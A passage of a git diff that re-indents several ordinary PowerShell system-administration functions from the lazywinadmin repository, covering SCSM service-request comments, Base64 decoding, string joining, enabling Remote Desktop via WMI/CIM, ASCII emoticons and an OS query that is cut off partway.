[System.WorkItem.ServiceRequest]$ServiceRequestObject, - - [parameter(Mandatory = $True)] - [String]$Comment, - - [ValidateSet("User", "Analyst")] - [parameter(Mandatory = $True)] - [System.WorkItem.TroubleTicket] - [String]$CommentType, - - [parameter(Mandatory = $True)] - [String]$EnteredBy, - - [Switch]$IsPrivate - ) - BEGIN - { - TRY - { - if (-not (Get-Module -Name Smlets)) - { - Import-Module -Name Smlets -ErrorAction 'Stop' - } - } - CATCH - { - $Error[0] - } - } - PROCESS - { - TRY - { - # Make sure that the SR Object it passed to the function - If ($ServiceRequestObject.Id -ne $NULL) - { - Switch ($CommentType) - { - "Analyst" { - $CommentClass = "System.WorkItem.TroubleTicket.AnalystCommentLog" - $CommentClassName = "AnalystCommentLog" - } - "User" { - $CommentClass = "System.WorkItem.TroubleTicket.UserCommentLog" - $CommentClassName = "EndUserCommentLog" - } - } - # Generate a new GUID for the comment - $NewGUID = ([guid]::NewGuid()).ToString() - - # Create the object projection with properties - $Projection = @{ - __CLASS = "System.WorkItem.ServiceRequest"; - __SEED = $ServiceRequestObject; - EndUserCommentLog = @{ - __CLASS = $CommentClass; - __OBJECT = @{ - Id = $NewGUID; - DisplayName = $NewGUID; - Comment = $Comment; - EnteredBy = $EnteredBy; - EnteredDate = (Get-Date).ToUniversalTime(); - IsPrivate = $IsPrivate.ToBool(); - } - } - } - - # Create the actual comment - New-SCSMObjectProjection -Type "System.WorkItem.ServiceRequestProjection" -Projection $Projection - } - else - { - Throw "Invalid Service Request Object!" - } - } - CATCH - { - $Error[0] - } #CATCH - } #PROCESS + [CmdletBinding()] + PARAM ( + + [Alias("SRObject")] + [parameter(Mandatory = $true)] + [System.WorkItem.ServiceRequest]$ServiceRequestObject, + + [parameter(Mandatory = $True)] + [String]$Comment, + + [ValidateSet("User", "Analyst")] + [parameter(Mandatory = $True)] + [System.WorkItem.TroubleTicket] + [String]$CommentType, + + [parameter(Mandatory = $True)] + [String]$EnteredBy, + + [Switch]$IsPrivate + ) + BEGIN + { + TRY + { + if (-not (Get-Module -Name Smlets)) + { + Import-Module -Name Smlets -ErrorAction 'Stop' + } + } + CATCH + { + $Error[0] + } + } + PROCESS + { + TRY + { + # Make sure that the SR Object it passed to the function + If ($ServiceRequestObject.Id -ne $NULL) + { + Switch ($CommentType) + { + "Analyst" { + $CommentClass = "System.WorkItem.TroubleTicket.AnalystCommentLog" + $CommentClassName = "AnalystCommentLog" + } + "User" { + $CommentClass = "System.WorkItem.TroubleTicket.UserCommentLog" + $CommentClassName = "EndUserCommentLog" + } + } + # Generate a new GUID for the comment + $NewGUID = ([guid]::NewGuid()).ToString() + + # Create the object projection with properties + $Projection = @{ + __CLASS = "System.WorkItem.ServiceRequest"; + __SEED = $ServiceRequestObject; + EndUserCommentLog = @{ + __CLASS = $CommentClass; + __OBJECT = @{ + Id = $NewGUID; + DisplayName = $NewGUID; + Comment = $Comment; + EnteredBy = $EnteredBy; + EnteredDate = (Get-Date).ToUniversalTime(); + IsPrivate = $IsPrivate.ToBool(); + } + } + } + + # Create the actual comment + New-SCSMObjectProjection -Type "System.WorkItem.ServiceRequestProjection" -Projection $Projection + } + else + { + Throw "Invalid Service Request Object!" + } + } + CATCH + { + $Error[0] + } #CATCH + } #PROCESS } # Function \ No newline at end of file diff --git a/TOOL-ConvertFrom-Base64/ConvertFrom-Base64.ps1 b/TOOL-ConvertFrom-Base64/ConvertFrom-Base64.ps1 index 7cb26d5b..427fd4d3 100644 --- a/TOOL-ConvertFrom-Base64/ConvertFrom-Base64.ps1 +++ b/TOOL-ConvertFrom-Base64/ConvertFrom-Base64.ps1 @@ -1,39 +1,39 @@ function ConvertFrom-Base64 { - <# - .SYNOPSIS - Converts the specified string, which encodes binary data as base-64 digits, to an equivalent 8-bit unsigned integer array. + <# + .SYNOPSIS + Converts the specified string, which encodes binary data as base-64 digits, to an equivalent 8-bit unsigned integer array. - .DESCRIPTION - Converts the specified string, which encodes binary data as base-64 digits, to an equivalent 8-bit unsigned integer array. + .DESCRIPTION + Converts the specified string, which encodes binary data as base-64 digits, to an equivalent 8-bit unsigned integer array. - .PARAMETER String - Specifies the String to Convert + .PARAMETER String + Specifies the String to Convert - .EXAMPLE - ConvertFrom-Base64 -String $ImageBase64 |Out-File ImageTest.png + .EXAMPLE + ConvertFrom-Base64 -String $ImageBase64 |Out-File ImageTest.png - .NOTES - Francois-Xavier Cat - @lazywinadmin - www.lazywinadmin.com - github.com/lazywinadmin + .NOTES + Francois-Xavier Cat + @lazywinadmin + www.lazywinadmin.com + github.com/lazywinadmin #> - [CmdletBinding()] - PARAM ( - [parameter(Mandatory = $true, ValueFromPipeline)] - [String]$String - ) - TRY - { - Write-Verbose -Message "[ConvertFrom-Base64] Converting String" - [System.Text.Encoding]::Default.GetString( - [System.Convert]::FromBase64String($String) - ) - } - CATCH - { - Write-Error -Message "[ConvertFrom-Base64] Something wrong happened" - $Error[0].Exception.Message - } + [CmdletBinding()] + PARAM ( + [parameter(Mandatory = $true, ValueFromPipeline)] + [String]$String + ) + TRY + { + Write-Verbose -Message "[ConvertFrom-Base64] Converting String" + [System.Text.Encoding]::Default.GetString( + [System.Convert]::FromBase64String($String) + ) + } + CATCH + { + Write-Error -Message "[ConvertFrom-Base64] Something wrong happened" + $Error[0].Exception.Message + } } diff --git a/TOOL-ConvertTo-StringList/ConvertTo-StringList.ps1 b/TOOL-ConvertTo-StringList/ConvertTo-StringList.ps1 index cdbee293..c3b85c79 100644 --- a/TOOL-ConvertTo-StringList/ConvertTo-StringList.ps1 +++ b/TOOL-ConvertTo-StringList/ConvertTo-StringList.ps1 @@ -1,92 +1,92 @@ function ConvertTo-StringList { <# - .SYNOPSIS - Function to convert an array into a string list with a delimiter. + .SYNOPSIS + Function to convert an array into a string list with a delimiter. - .DESCRIPTION - Function to convert an array into a string list with a delimiter. + .DESCRIPTION + Function to convert an array into a string list with a delimiter. - .PARAMETER Array - Specifies the array to process. + .PARAMETER Array + Specifies the array to process. - .PARAMETER Delimiter - Separator between value, default is "," + .PARAMETER Delimiter + Separator between value, default is "," - .EXAMPLE - $Computers = "Computer1","Computer2" - ConvertTo-StringList -Array $Computers + .EXAMPLE + $Computers = "Computer1","Computer2" + ConvertTo-StringList -Array $Computers - Output: - Computer1,Computer2 + Output: + Computer1,Computer2 - .EXAMPLE - $Computers = "Computer1","Computer2" - ConvertTo-StringList -Array $Computers -Delimiter "__" + .EXAMPLE + $Computers = "Computer1","Computer2" + ConvertTo-StringList -Array $Computers -Delimiter "__" - Output: - Computer1__Computer2 + Output: + Computer1__Computer2 - .EXAMPLE - $Computers = "Computer1" - ConvertTo-StringList -Array $Computers -Delimiter "__" + .EXAMPLE + $Computers = "Computer1" + ConvertTo-StringList -Array $Computers -Delimiter "__" - Output: - Computer1 + Output: + Computer1 - .NOTES - Francois-Xavier Cat - www.lazywinadmin.com - @lazywinadmin + .NOTES + Francois-Xavier Cat + www.lazywinadmin.com + @lazywinadmin - I used this function in System Center Orchestrator (SCORCH). - This is sometime easier to pass data between activities + I used this function in System Center Orchestrator (SCORCH). + This is sometime easier to pass data between activities #> - [CmdletBinding()] - [OutputType([string])] - param - ( - [Parameter(Mandatory = $true, - ValueFromPipeline = $true)] - [System.Array]$Array, + [CmdletBinding()] + [OutputType([string])] + param + ( + [Parameter(Mandatory = $true, + ValueFromPipeline = $true)] + [System.Array]$Array, - [system.string]$Delimiter = "," - ) + [system.string]$Delimiter = "," + ) - BEGIN { $StringList = "" } - PROCESS - { - Write-Verbose -Message "Array: $Array" - foreach ($item in $Array) - { - # Adding the current object to the list - $StringList += "$item$Delimiter" - } - Write-Verbose "StringList: $StringList" - } - END - { - TRY - { - IF ($StringList) - { - $lenght = $StringList.Length - Write-Verbose -Message "StringList Lenght: $lenght" + BEGIN { $StringList = "" } + PROCESS + { + Write-Verbose -Message "Array: $Array" + foreach ($item in $Array) + { + # Adding the current object to the list + $StringList += "$item$Delimiter" + } + Write-Verbose "StringList: $StringList" + } + END + { + TRY + { + IF ($StringList) + { + $lenght = $StringList.Length + Write-Verbose -Message "StringList Lenght: $lenght" - # Output Info without the last delimiter - $StringList.Substring(0, ($lenght - $($Delimiter.length))) - } - }# TRY - CATCH - { - Write-Warning -Message "[END] Something wrong happening when output the result" - $Error[0].Exception.Message - } - FINALLY - { - # Reset Variable - $StringList = "" - } - } + # Output Info without the last delimiter + $StringList.Substring(0, ($lenght - $($Delimiter.length))) + } + }# TRY + CATCH + { + Write-Warning -Message "[END] Something wrong happening when output the result" + $Error[0].Exception.Message + } + FINALLY + { + # Reset Variable + $StringList = "" + } + } } \ No newline at end of file diff --git a/TOOL-Enable-RemoteDesktop/Enable-RemoteDesktop.ps1 b/TOOL-Enable-RemoteDesktop/Enable-RemoteDesktop.ps1 index 963bb525..bc2ebc5e 100644 --- a/TOOL-Enable-RemoteDesktop/Enable-RemoteDesktop.ps1 +++ b/TOOL-Enable-RemoteDesktop/Enable-RemoteDesktop.ps1 @@ -1,184 +1,184 @@ function Enable-RemoteDesktop { <# - .SYNOPSIS - The function Enable-RemoteDesktop will enable RemoteDesktop on a local or remote machine. + .SYNOPSIS + The function Enable-RemoteDesktop will enable RemoteDesktop on a local or remote machine. - .DESCRIPTION - The function Enable-RemoteDesktop will enable RemoteDesktop on a local or remote machine. + .DESCRIPTION + The function Enable-RemoteDesktop will enable RemoteDesktop on a local or remote machine. - .PARAMETER ComputerName - Specifies the computername + .PARAMETER ComputerName + Specifies the computername - .PARAMETER Credential - Specifies the credential to use + .PARAMETER Credential + Specifies the credential to use - .PARAMETER CimSession - Specifies one or more existing CIM Session(s) to use + .PARAMETER CimSession + Specifies one or more existing CIM Session(s) to use - .EXAMPLE - PS C:\> Enable-RemoteDesktop -ComputerName DC01 + .EXAMPLE + PS C:\> Enable-RemoteDesktop -ComputerName DC01 - .EXAMPLE - PS C:\> Enable-RemoteDesktop -ComputerName DC01 -Credential (Get-Credential -cred "FX\SuperAdmin") + .EXAMPLE + PS C:\> Enable-RemoteDesktop -ComputerName DC01 -Credential (Get-Credential -cred "FX\SuperAdmin") - .EXAMPLE - PS C:\> Enable-RemoteDesktop -CimSession $Session + .EXAMPLE + PS C:\> Enable-RemoteDesktop -CimSession $Session - .EXAMPLE - PS C:\> Enable-RemoteDesktop -CimSession $Session1,$session2,$session3 + .EXAMPLE + PS C:\> Enable-RemoteDesktop -CimSession $Session1,$session2,$session3 - .NOTES - Francois-Xavier Cat - @lazywinadmin - www.lazywinadmin.com - github.com/lazywinadmin + .NOTES + Francois-Xavier Cat + @lazywinadmin + www.lazywinadmin.com + github.com/lazywinadmin #> - #Requires -RunAsAdministrator - [CmdletBinding(DefaultParameterSetName = 'CimSession', - SupportsShouldProcess = $true)] - param - ( - [Parameter(ParameterSetName = 'Main', - ValueFromPipeline = $true, - ValueFromPipelineByPropertyName = $true)] - [Alias('CN', '__SERVER', 'PSComputerName')] - [String[]]$ComputerName, - - [Parameter(ParameterSetName = 'Main')] - [System.Management.Automation.Credential()] - [Alias('RunAs')] - $Credential = [System.Management.Automation.PSCredential]::Empty, - - [Parameter(ParameterSetName = 'CimSession')] - [Microsoft.Management.Infrastructure.CimSession[]]$CimSession - ) - - BEGIN - { - # Helper Function - function Get-DefaultMessage - { + #Requires -RunAsAdministrator + [CmdletBinding(DefaultParameterSetName = 'CimSession', + SupportsShouldProcess = $true)] + param + ( + [Parameter(ParameterSetName = 'Main', + ValueFromPipeline = $true, + ValueFromPipelineByPropertyName = $true)] + [Alias('CN', '__SERVER', 'PSComputerName')] + [String[]]$ComputerName, + + [Parameter(ParameterSetName = 'Main')] + [System.Management.Automation.Credential()] + [Alias('RunAs')] + $Credential = [System.Management.Automation.PSCredential]::Empty, + + [Parameter(ParameterSetName = 'CimSession')] + [Microsoft.Management.Infrastructure.CimSession[]]$CimSession + ) + + BEGIN + { + # Helper Function + function Get-DefaultMessage + { <# .SYNOPSIS - Helper Function to show default message used in VERBOSE/DEBUG/WARNING + Helper Function to show default message used in VERBOSE/DEBUG/WARNING .DESCRIPTION - Helper Function to show default message used in VERBOSE/DEBUG/WARNING - and... HOST in some case. - This is helpful to standardize the output messages + Helper Function to show default message used in VERBOSE/DEBUG/WARNING + and... HOST in some case. + This is helpful to standardize the output messages .PARAMETER Message - Specifies the message to show + Specifies the message to show .NOTES - Francois-Xavier Cat - www.lazywinadmin.com - @lazywinadmin + Francois-Xavier Cat + www.lazywinadmin.com + @lazywinadmin #> - PARAM ($Message) - $DateFormat = Get-Date -Format 'yyyy/MM/dd-HH:mm:ss:ff' - $FunctionName = (Get-Variable -Scope 1 -Name MyInvocation -ValueOnly).MyCommand.Name - Write-Output "[$DateFormat][$FunctionName] $Message" - } #Get-DefaultMessage - } - PROCESS - { - IF ($PSBoundParameters['CimSession']) - { - FOREACH ($Cim in $CimSession) - { - $CIMComputer = $($Cim.ComputerName).ToUpper() - - IF ($PSCmdlet.ShouldProcess($CIMComputer, "Enable Remote Desktop via Win32_TerminalServiceSetting")) - { - - TRY - { - # Parameters for Get-CimInstance - $CIMSplatting = @{ - Class = "Win32_TerminalServiceSetting" - NameSpace = "root\cimv2\terminalservices" - CimSession = $Cim - Authentication = 'PacketPrivacy' - ErrorAction = 'Stop' - ErrorVariable = "ErrorProcessGetCimInstance" - } - - # Parameters for Invoke-CimMethod - $CIMInvokeSplatting = @{ - MethodName = "SetAllowTSConnections" - Arguments = @{ - AllowTSConnections = 1 - ModifyFirewallException = 1 - } - ErrorAction = 'Stop' - ErrorVariable = "ErrorProcessInvokeCim" - } - - Write-Verbose -Message (Get-DefaultMessage -Message "$CIMComputer - CIMSession - Enable Remote Desktop (and Modify Firewall Exception") - Get-CimInstance @CIMSplatting | Invoke-CimMethod @CIMInvokeSplatting - } - CATCH - { - Write-Warning -Message (Get-DefaultMessage -Message "$CIMComputer - CIMSession - Something wrong happened") - IF ($ErrorProcessGetCimInstance) { Write-Warning -Message (Get-DefaultMessage -Message "$CIMComputer - Issue with Get-CimInstance") } - IF ($ErrorProcessInvokeCim) { Write-Warning -Message (Get-DefaultMessage -Message "$CIMComputer - Issue with Invoke-CimMethod") } - Write-Warning -Message $Error[0].Exception.Message - } #CATCH - FINALLY - { - $CIMSplatting.Clear() - $CIMInvokeSplatting.Clear() - } #FINALLY - } #$PSCmdlet.ShouldProcess - } #FOREACH ($Cim in $CimSessions) - } #IF ($PSBoundParameters['CimSession']) - ELSE - { - FOREACH ($Computer in $ComputerName) - { - $Computer = $Computer.ToUpper() - - IF ($PSCmdlet.ShouldProcess($Computer, "Enable Remote Desktop via Win32_TerminalServiceSetting")) - { - TRY - { - Write-Verbose -Message (Get-DefaultMessage -Message "$Computer - Test-Connection") - IF (Test-Connection -Computer $Computer -count 1 -quiet) - { - $Splatting = @{ - Class = "Win32_TerminalServiceSetting" - NameSpace = "root\cimv2\terminalservices" - ComputerName = $Computer - Authentication = 'PacketPrivacy' - ErrorAction = 'Stop' - ErrorVariable = 'ErrorProcessGetWmi' - } - - IF ($PSBoundParameters['Credential']) - { - $Splatting.credential = $Credential - } - - # Enable Remote Desktop - Write-Verbose -Message (Get-DefaultMessage -Message "$Computer - Get-WmiObject - Enable Remote Desktop") - (Get-WmiObject @Splatting).SetAllowTsConnections(1, 1) | Out-Null - - # Disable requirement that user must be authenticated - #(Get-WmiObject -Class Win32_TSGeneralSetting @Splatting -Filter TerminalName='RDP-tcp').SetUserAuthenticationRequired(0) Out-Null - } - } #TRY - CATCH - { - Write-Warning -Message (Get-DefaultMessage -Message "$Computer - Something wrong happened") - IF ($ErrorProcessGetWmi) { Write-Warning -Message (Get-DefaultMessage -Message "$Computer - Issue with Get-WmiObject") } - Write-Warning -MEssage $Error[0].Exception.Message - } #CATCH - FINALLY - { - $Splatting.Clear() - } #FINALLY - } #$PSCmdlet.ShouldProcess - } #FOREACH - } #ELSE (Not CIM) - } #PROCESS + PARAM ($Message) + $DateFormat = Get-Date -Format 'yyyy/MM/dd-HH:mm:ss:ff' + $FunctionName = (Get-Variable -Scope 1 -Name MyInvocation -ValueOnly).MyCommand.Name + Write-Output "[$DateFormat][$FunctionName] $Message" + } #Get-DefaultMessage + } + PROCESS + { + IF ($PSBoundParameters['CimSession']) + { + FOREACH ($Cim in $CimSession) + { + $CIMComputer = $($Cim.ComputerName).ToUpper() + + IF ($PSCmdlet.ShouldProcess($CIMComputer, "Enable Remote Desktop via Win32_TerminalServiceSetting")) + { + + TRY + { + # Parameters for Get-CimInstance + $CIMSplatting = @{ + Class = "Win32_TerminalServiceSetting" + NameSpace = "root\cimv2\terminalservices" + CimSession = $Cim + Authentication = 'PacketPrivacy' + ErrorAction = 'Stop' + ErrorVariable = "ErrorProcessGetCimInstance" + } + + # Parameters for Invoke-CimMethod + $CIMInvokeSplatting = @{ + MethodName = "SetAllowTSConnections" + Arguments = @{ + AllowTSConnections = 1 + ModifyFirewallException = 1 + } + ErrorAction = 'Stop' + ErrorVariable = "ErrorProcessInvokeCim" + } + + Write-Verbose -Message (Get-DefaultMessage -Message "$CIMComputer - CIMSession - Enable Remote Desktop (and Modify Firewall Exception") + Get-CimInstance @CIMSplatting | Invoke-CimMethod @CIMInvokeSplatting + } + CATCH + { + Write-Warning -Message (Get-DefaultMessage -Message "$CIMComputer - CIMSession - Something wrong happened") + IF ($ErrorProcessGetCimInstance) { Write-Warning -Message (Get-DefaultMessage -Message "$CIMComputer - Issue with Get-CimInstance") } + IF ($ErrorProcessInvokeCim) { Write-Warning -Message (Get-DefaultMessage -Message "$CIMComputer - Issue with Invoke-CimMethod") } + Write-Warning -Message $Error[0].Exception.Message + } #CATCH + FINALLY + { + $CIMSplatting.Clear() + $CIMInvokeSplatting.Clear() + } #FINALLY + } #$PSCmdlet.ShouldProcess + } #FOREACH ($Cim in $CimSessions) + } #IF ($PSBoundParameters['CimSession']) + ELSE + { + FOREACH ($Computer in $ComputerName) + { + $Computer = $Computer.ToUpper() + + IF ($PSCmdlet.ShouldProcess($Computer, "Enable Remote Desktop via Win32_TerminalServiceSetting")) + { + TRY + { + Write-Verbose -Message (Get-DefaultMessage -Message "$Computer - Test-Connection") + IF (Test-Connection -Computer $Computer -count 1 -quiet) + { + $Splatting = @{ + Class = "Win32_TerminalServiceSetting" + NameSpace = "root\cimv2\terminalservices" + ComputerName = $Computer + Authentication = 'PacketPrivacy' + ErrorAction = 'Stop' + ErrorVariable = 'ErrorProcessGetWmi' + } + + IF ($PSBoundParameters['Credential']) + { + $Splatting.credential = $Credential + } + + # Enable Remote Desktop + Write-Verbose -Message (Get-DefaultMessage -Message "$Computer - Get-WmiObject - Enable Remote Desktop") + (Get-WmiObject @Splatting).SetAllowTsConnections(1, 1) | Out-Null + + # Disable requirement that user must be authenticated + #(Get-WmiObject -Class Win32_TSGeneralSetting @Splatting -Filter TerminalName='RDP-tcp').SetUserAuthenticationRequired(0) Out-Null + } + } #TRY + CATCH + { + Write-Warning -Message (Get-DefaultMessage -Message "$Computer - Something wrong happened") + IF ($ErrorProcessGetWmi) { Write-Warning -Message (Get-DefaultMessage -Message "$Computer - Issue with Get-WmiObject") } + Write-Warning -MEssage $Error[0].Exception.Message + } #CATCH + FINALLY + { + $Splatting.Clear() + } #FINALLY + } #$PSCmdlet.ShouldProcess + } #FOREACH + } #ELSE (Not CIM) + } #PROCESS } diff --git a/TOOL-Get-AsciiReaction/Get-AsciiReaction.ps1 b/TOOL-Get-AsciiReaction/Get-AsciiReaction.ps1 index fdc8dc23..3a5dc82d 100644 --- a/TOOL-Get-AsciiReaction/Get-AsciiReaction.ps1 +++ b/TOOL-Get-AsciiReaction/Get-AsciiReaction.ps1 @@ -2,97 +2,97 @@ function Get-AsciiReaction { <# - .SYNOPSIS + .SYNOPSIS - Displays Ascii for different reactions and copies it to clipboard. + Displays Ascii for different reactions and copies it to clipboard. - .DESCRIPTION + .DESCRIPTION - Displays Ascii for different reactions and copies it to clipboard. + Displays Ascii for different reactions and copies it to clipboard. - .EXAMPLE + .EXAMPLE - Get-AsciiReaction -Name Shrug + Get-AsciiReaction -Name Shrug - Displays a shurg and copies it to clipboard. + Displays a shurg and copies it to clipboard. - .NOTES + .NOTES - Based on Reddit Thread https://www.reddit.com/r/PowerShell/comments/4aipw5/%E3%83%84/ - and Matt Hodge function: https://github.com/MattHodge/MattHodgePowerShell/blob/master/Fun/Get-Ascii.ps1 + Based on Reddit Thread https://www.reddit.com/r/PowerShell/comments/4aipw5/%E3%83%84/ + and Matt Hodge function: https://github.com/MattHodge/MattHodgePowerShell/blob/master/Fun/Get-Ascii.ps1 #> - [cmdletbinding()] - Param - ( - # Name of the Ascii - [Parameter()] - [ValidateSet( - 'Shrug', - 'Disapproval', - 'TableFlip', - 'TableBack', - 'TableFlip2', - 'TableBack2', - 'TableFlip3', - 'Denko', - 'BlowKiss', - 'Lenny', - 'Angry', - 'DontKnow')] - [string]$Name - ) + [cmdletbinding()] + Param + ( + # Name of the Ascii + [Parameter()] + [ValidateSet( + 'Shrug', + 'Disapproval', + 'TableFlip', + 'TableBack', + 'TableFlip2', + 'TableBack2', + 'TableFlip3', + 'Denko', + 'BlowKiss', + 'Lenny', + 'Angry', + 'DontKnow')] + [string]$Name + ) - $OutputEncoding = [System.Text.Encoding]::unicode + $OutputEncoding = [System.Text.Encoding]::unicode - # Function to write ascii to screen as well as clipboard it - function Write-Ascii - { - [CmdletBinding()] - Param - ( - # Ascii Data - [Parameter(Mandatory = $true, ValueFromPipeline = $true, ValueFromPipelineByPropertyName = $true, Position = 0)] - [string]$Ascii - ) + # Function to write ascii to screen as well as clipboard it + function Write-Ascii + { + [CmdletBinding()] + Param + ( + # Ascii Data + [Parameter(Mandatory = $true, ValueFromPipeline = $true, ValueFromPipelineByPropertyName = $true, Position = 0)] + [string]$Ascii + ) - # Clips it without the newline - Add-Type -Assembly PresentationCore - $clipText = ($Ascii).ToString() | Out-String -Stream - [Windows.Clipboard]::SetText($clipText) + # Clips it without the newline + Add-Type -Assembly PresentationCore + $clipText = ($Ascii).ToString() | Out-String -Stream + [Windows.Clipboard]::SetText($clipText) - Write-Output $clipText - } + Write-Output $clipText + } - Switch ($Name) - { - 'Shrug' { [char[]]@(175, 92, 95, 40, 12484, 41, 95, 47, 175) -join '' | Write-Ascii } - 'Disapproval' { [char[]]@(3232, 95, 3232) -join '' | Write-Ascii } - 'TableFlip' { [char[]]@(40, 9583, 176, 9633, 176, 65289, 9583, 65077, 32, 9531, 9473, 9531, 41) -join '' | Write-Ascii } - 'TableBack' { [char[]]@(9516, 9472, 9472, 9516, 32, 175, 92, 95, 40, 12484, 41) -join '' | Write-Ascii } - 'TableFlip2' { [char[]]@(9531, 9473, 9531, 32, 65077, 12541, 40, 96, 1044, 180, 41, 65417, 65077, 32, 9531, 9473, 9531) -join '' | Write-Ascii } - 'TableBack2' { [char[]]@(9516, 9472, 9516, 12494, 40, 32, 186, 32, 95, 32, 186, 12494, 41) -join '' | Write-Ascii } - 'TableFlip3' { [char[]]@(40, 12494, 3232, 30410, 3232, 41, 12494, 24417, 9531, 9473, 9531) -join '' | Write-Ascii } - 'Denko' { [char[]]@(40, 180, 65381, 969, 65381, 96, 41) -join '' | Write-Ascii } - 'BlowKiss' { [char[]]@(40, 42, 94, 51, 94, 41, 47, 126, 9734) -join '' | Write-Ascii } - 'Lenny' { [char[]]@(40, 32, 865, 176, 32, 860, 662, 32, 865, 176, 41) -join '' | Write-Ascii } - 'Angry' { [char[]]@(40, 65283, 65439, 1044, 65439, 41) -join '' | Write-Ascii } - 'DontKnow' { [char[]]@(9488, 40, 39, 65374, 39, 65307, 41, 9484) -join '' | Write-Ascii } - default - { - [PSCustomObject][ordered]@{ - 'Shrug' = [char[]]@(175, 92, 95, 40, 12484, 41, 95, 47, 175) -join '' | Write-Ascii - 'Disapproval' = [char[]]@(3232, 95, 3232) -join '' | Write-Ascii - 'TableFlip' = [char[]]@(40, 9583, 176, 9633, 176, 65289, 9583, 65077, 32, 9531, 9473, 9531, 41) -join '' | Write-Ascii - 'TableBack' = [char[]]@(9516, 9472, 9472, 9516, 32, 175, 92, 95, 40, 12484, 41) -join '' | Write-Ascii - 'TableFlip2' = [char[]]@(9531, 9473, 9531, 32, 65077, 12541, 40, 96, 1044, 180, 41, 65417, 65077, 32, 9531, 9473, 9531) -join '' | Write-Ascii - 'TableBack2' = [char[]]@(9516, 9472, 9516, 12494, 40, 32, 186, 32, 95, 32, 186, 12494, 41) -join '' | Write-Ascii - 'TableFlip3' = [char[]]@(40, 12494, 3232, 30410, 3232, 41, 12494, 24417, 9531, 9473, 9531) -join '' | Write-Ascii - 'Denko' = [char[]]@(40, 180, 65381, 969, 65381, 96, 41) -join '' | Write-Ascii - 'BlowKiss' = [char[]]@(40, 42, 94, 51, 94, 41, 47, 126, 9734) -join '' | Write-Ascii - 'Lenny' = [char[]]@(40, 32, 865, 176, 32, 860, 662, 32, 865, 176, 41) -join '' | Write-Ascii - 'Angry' = [char[]]@(40, 65283, 65439, 1044, 65439, 41) -join '' | Write-Ascii - 'DontKnow' = [char[]]@(9488, 40, 39, 65374, 39, 65307, 41, 9484) -join '' | Write-Ascii - } - } - } + Switch ($Name) + { + 'Shrug' { [char[]]@(175, 92, 95, 40, 12484, 41, 95, 47, 175) -join '' | Write-Ascii } + 'Disapproval' { [char[]]@(3232, 95, 3232) -join '' | Write-Ascii } + 'TableFlip' { [char[]]@(40, 9583, 176, 9633, 176, 65289, 9583, 65077, 32, 9531, 9473, 9531, 41) -join '' | Write-Ascii } + 'TableBack' { [char[]]@(9516, 9472, 9472, 9516, 32, 175, 92, 95, 40, 12484, 41) -join '' | Write-Ascii } + 'TableFlip2' { [char[]]@(9531, 9473, 9531, 32, 65077, 12541, 40, 96, 1044, 180, 41, 65417, 65077, 32, 9531, 9473, 9531) -join '' | Write-Ascii } + 'TableBack2' { [char[]]@(9516, 9472, 9516, 12494, 40, 32, 186, 32, 95, 32, 186, 12494, 41) -join '' | Write-Ascii } + 'TableFlip3' { [char[]]@(40, 12494, 3232, 30410, 3232, 41, 12494, 24417, 9531, 9473, 9531) -join '' | Write-Ascii } + 'Denko' { [char[]]@(40, 180, 65381, 969, 65381, 96, 41) -join '' | Write-Ascii } + 'BlowKiss' { [char[]]@(40, 42, 94, 51, 94, 41, 47, 126, 9734) -join '' | Write-Ascii } + 'Lenny' { [char[]]@(40, 32, 865, 176, 32, 860, 662, 32, 865, 176, 41) -join '' | Write-Ascii } + 'Angry' { [char[]]@(40, 65283, 65439, 1044, 65439, 41) -join '' | Write-Ascii } + 'DontKnow' { [char[]]@(9488, 40, 39, 65374, 39, 65307, 41, 9484) -join '' | Write-Ascii } + default + { + [PSCustomObject][ordered]@{ + 'Shrug' = [char[]]@(175, 92, 95, 40, 12484, 41, 95, 47, 175) -join '' | Write-Ascii + 'Disapproval' = [char[]]@(3232, 95, 3232) -join '' | Write-Ascii + 'TableFlip' = [char[]]@(40, 9583, 176, 9633, 176, 65289, 9583, 65077, 32, 9531, 9473, 9531, 41) -join '' | Write-Ascii + 'TableBack' = [char[]]@(9516, 9472, 9472, 9516, 32, 175, 92, 95, 40, 12484, 41) -join '' | Write-Ascii + 'TableFlip2' = [char[]]@(9531, 9473, 9531, 32, 65077, 12541, 40, 96, 1044, 180, 41, 65417, 65077, 32, 9531, 9473, 9531) -join '' | Write-Ascii + 'TableBack2' = [char[]]@(9516, 9472, 9516, 12494, 40, 32, 186, 32, 95, 32, 186, 12494, 41) -join '' | Write-Ascii + 'TableFlip3' = [char[]]@(40, 12494, 3232, 30410, 3232, 41, 12494, 24417, 9531, 9473, 9531) -join '' | Write-Ascii + 'Denko' = [char[]]@(40, 180, 65381, 969, 65381, 96, 41) -join '' | Write-Ascii + 'BlowKiss' = [char[]]@(40, 42, 94, 51, 94, 41, 47, 126, 9734) -join '' | Write-Ascii + 'Lenny' = [char[]]@(40, 32, 865, 176, 32, 860, 662, 32, 865, 176, 41) -join '' | Write-Ascii + 'Angry' = [char[]]@(40, 65283, 65439, 1044, 65439, 41) -join '' | Write-Ascii + 'DontKnow' = [char[]]@(9488, 40, 39, 65374, 39, 65307, 41, 9484) -join '' | Write-Ascii + } + } + } } diff --git a/TOOL-Get-ComputerOS/Get-ComputerOS.ps1 b/TOOL-Get-ComputerOS/Get-ComputerOS.ps1 index c9da59cc..13389cdd 100644 --- a/TOOL-Get-ComputerOS/Get-ComputerOS.ps1 +++ b/TOOL-Get-ComputerOS/Get-ComputerOS.ps1 @@ -1,116 +1,116 @@ function Get-ComputerOS { <# - .SYNOPSIS - function to retrieve the Operating System of a machine + .SYNOPSIS + function to retrieve the Operating System of a machine - .DESCRIPTION - function to retrieve the Operating System of a machine + .DESCRIPTION + function to retrieve the Operating System of a machine - .PARAMETER ComputerName - Specifies the ComputerName of the machine to query. Default is localhost. + .PARAMETER ComputerName + Specifies the ComputerName of the machine to query. Default is localhost. - .PARAMETER Credential - Specifies the credentials to use. Default is Current credentials + .PARAMETER Credential + Specifies the credentials to use. Default is Current credentials - .EXAMPLE - PS C:\> Get-ComputerOS -ComputerName "SERVER01","SERVER02","SERVER03" + .EXAMPLE + PS C:\> Get-ComputerOS -ComputerName "SERVER01","SERVER02","SERVER03" - .EXAMPLE - PS C:\> Get-ComputerOS -ComputerName "SERVER01" -Credential (Get-Credential -cred "FX\SuperAdmin") + .EXAMPLE + PS C:\> Get-ComputerOS -ComputerName "SERVER01" -Credential (Get-Credential -cred "FX\SuperAdmin") - .NOTES - Additional information about the function. + .NOTES + Additional information about the function. #> - [CmdletBinding()] - PARAM ( - [Parameter(ParameterSetName = "Main")] - [Alias("CN","__SERVER","PSComputerName")] - [String[]]$ComputerName = $env:ComputerName, + [CmdletBinding()] + 